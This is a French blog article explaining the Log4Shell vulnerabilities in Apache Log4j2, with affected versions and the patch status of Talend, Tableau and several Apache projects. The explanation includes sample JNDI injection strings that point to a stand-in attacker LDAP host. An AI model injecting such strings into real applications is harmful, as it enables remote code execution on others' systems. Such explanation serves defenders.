Vulnérabilités de sécurité Log4Shell ; un article proposé par Charly CLAIRMONT.
Vulnérabilités de sécurité Log4Shell
CVE-2021-44228 / CVE-2021-45046
Si vous avez suivi les actualités du numérique au cours de ces derniers jours, vous avez très probablement entendu parler de CVE-2021-44228 ou de « Log4Shell ». Ces vulnérabilités particulières affectent Apache Log4J2, une librairie de journalisation (gestion de traces) en Java.
Les versions concernées sont : toutes les versions de 2.0-beta9 à 2.12.1 et de 2.13.0 à 2.15.0.
Deux vulnérabilités ont été identifiées coup sur coup :
- CVE-2021-45046 : Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern
- reporté le 14/12/2021
- exposition à des attaques de dénies de services
- CVE-2021-44228: Apache Log4j2 JNDI features
- reporté le 26/11/2021
- exposition à des prises de contrôle à distance
Tout le monde s’est emparé du sujet parce que Log4J est une librairie très largement employée par de très nombreux logiciels. Sonatype, un éditeur de gestionnaire de référentiels de composants logiciels montre à quel point cette librairie est populaire.
Rien que sur les quatre derniers mois c’est pas loin de 28.6 millions de téléchargements !
La vulnérabilité expliquée
Le détail de la vulnérabilité est disponible dans le cadre CERT-FR (mission de veille et de réponse aux attaques informatiques de l’ANSSI – Agence nationale de la sécurité des systèmes d’information) – le CVE ➡️ https://nvd.nist.gov/vuln/detail/CVE-2021-44228 et également sur la page Web Log4J2 ➡️ https://logging.apache.org/log4j/2.x/security.html
La description de la vulnérabilité par CERT-FR
“Cette vulnérabilité permet à un attaquant de provoquer une exécution de code arbitraire à distance s’il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l’événement. Cette attaque peut être réalisée sans être authentifiée, par exemple en tirant parti d’une page d’authentification qui journalise les erreurs d’authentification.”
C’est peut-être un peu difficile à digérer, donc pour faciliter votre compréhension voici un exemple simple. Comme d’autres vulnérabilités telles que le cross site scripting (XSS), cela commence par une entrée non contrôlée et surtout non prévue par les développements ou traitements. Log4J2 a un plugin JNDI (gestion de ressources globales), qui peut être utilisé pour rechercher des valeurs dans un registre. Par exemple, il peut être utilisé pour définir le chemin de journalisation d’une application. Si ce chemin doit être modifié pour une raison quelconque, il peut être modifié directement dans le registre JNDI : nul besoin alors de recompiler l’application et la redéployer. Cependant, si un attaquant est en mesure de fournir une valeur, spécialement conçue pour pénétrer votre application donc votre système, tel que ${jndi:ldap://evilcorp.com/} et que cette chaîne est enregistrée dans le registre, votre système est alors mis à nu…
Considérez l’exemple suivant :
Votre application utilise log4j2 pour la journalisation, et qu’un utilisateur ne parvient pas à s’authentifier depuis un écran de connexion. Cet événement est tracé avec le nom d’utilisateur qui n’a pas pu s’authentifier, ce qui vous permet d’assister l’utilisateur de manière proactive.
Un formulaire simple peut ressembler à ceci et envoie le nom d’utilisateur et le mot de passe :
Lorsqu’un échec de connexion se produit, votre application peut enregistrer cet événement avec un code qui ressemble à ceci :
Dans ce cas particulier, vous enregistrez le texte exact saisi par l’attaquant dans le champ du nom d’utilisateur de votre formulaire. Semblable à l’injection SQL, si la chaîne entrée dans ce champ est malveillante et contient une syntaxe JNDI, elle peut déclencher le plug-in JNDI dans log4j2. Pire que l’injection SQL, la syntaxe JNDI peut également inclure des paramètres de connexion vers une machine ou service malveillant.
Un exemple de chaîne malveillante est ${jndi:ldap://127.0.0.1:4444/}. S’il se connecte à un serveur LDAP ou RMI (fonction distante) externe contrôlé par un attaquant, il peut télécharger et exécuter le code de son choix sur votre système.
Quels sont les logiciels affectés ?
La Fondation Apache propose la liste des différents projets affectés ou non parmi tous ceux qu’elle gère :
➡️ https://blogs.apache.org/security/entry/cve-2021-44228
Plus largement la communauté se mobilise pour dresser la liste de toutes les solutions logicielles touchées :
➡️ https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
Synaltic promeut un certain nombre de solutions logicielles aussi bien open source que celles de ses partenaires.
Solutions partenaires
Talend est au courant et surveille activement le problème de sécurité récemment divulgué concernant l’utilitaire open source Apache Software Foundation Log4j2 (rapporté sous CVE-2021-44228). Cela reste la priorité absolue de Talend qui examine l’impact sur ses produits et évalue les options de remédiation et/ou d’atténuation.
Talend dresse une page qui est régulièrement actualisée pour tenir informé les mesures à prendre dans le cadre de chacun des produits ➡️ https://www.talend.com/security/incident-response/
Talend revient sur un contournement où l’on change la configuration de l’argument de la JVM « -Dlog4j2.formatMsgNoLookups=true » et de redémarrage des Tomcat ! Mais cette solution n’est plus suffisante. Il faut donc suivre et rester informé.
Contacter le support Talend pour plus d’informations complémentaires. A priori, il s’agira de mettre à jour les librairies Log4J 2. Talend devrait fournir des patchs pour ses différents produits.
De nouvelles releases mineures des produits Tableau ont été produites et intègrent le patch de la vulnérabilité Log4j2. Vous pouvez retrouver tous les binaires et releases notes sur le site : https://www.tableau.com/support/releases
A noter qu’un article de base de connaissance de Tableau décrit la procédure à suivre pour chacun des outils et sera mis à jour, si nécessaire ➡️ Apache Log4j2 vulnerability (Log4shell)
Pour information, les releases mineures sont :
- Tableau Server & Tableau Desktop versions 2021.4.1, 2021.3.5, 2021.2.6, 2021.1.9, 2020.4.12 ;
- Tableau Bridge 20214.21.1214.2057 ;
- Tableau Prep 2021.4.2.
Briques Open Source
Apache Camel : n’est pas affectée
Apache Hadoop : n’est pas affectée
Apache Hive : est affectée
Sonatype Nexus : n’est pas affectée
Apache Tomcat : n’est pas affectée
Apache ActiveMQ : n’est pas affectée
Debezium : n’est pas affectée
Apache Kafka : n’est pas affectée
Apache Spark : n’est pas affectée